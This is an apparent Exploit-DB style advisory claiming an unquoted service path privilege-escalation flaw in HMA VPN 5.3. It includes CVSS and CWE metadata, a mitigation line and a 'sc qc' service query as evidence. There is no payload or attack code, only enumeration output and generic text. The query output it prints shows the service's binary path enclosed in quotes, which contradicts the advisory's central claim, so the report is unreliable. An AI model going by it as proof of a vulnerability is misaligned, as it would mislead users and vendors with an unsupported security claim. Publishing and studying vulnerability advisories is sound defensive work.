header-logo
Suggest Exploit
vendor:
HMA VPN
by:
Saud Alenazi
7.2
CVSS
HIGH
Unquoted Service Path
426
CWE
Product Name: HMA VPN
Affected Version From: 5.3
Affected Version To: 5.3.5913.0
Patch Exists: NO
Related CWE:
CPE: a:privax:hma_vpn
Metasploit:
Other Scripts:
Platforms Tested: Windows 10 Pro x64 es
2022

HMA VPN 5.3 – Unquoted Service Path

A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.

Mitigation:

Ensure that all services have a fully qualified path to the executable, and that the path is enclosed in quotes.
Source

Exploit-DB raw data:

# Exploit Title: HMA VPN 5.3 - Unquoted Service Path
# Date: 18/02/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.hidemyass.com/
# Software Link: https://www.hidemyass.com/en-us/downloads
# Version: 5.3.5913.0
# Tested: Windows 10 Pro x64 es


C:\Users\saudh>sc qc HmaProVpn
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: HmaProVpn
        TYPE               : 20  WIN32_SHARE_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : "C:\Program Files\Privax\HMA VPN\VpnSvc.exe"
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : HMA VPN
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem


#Exploit:

A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.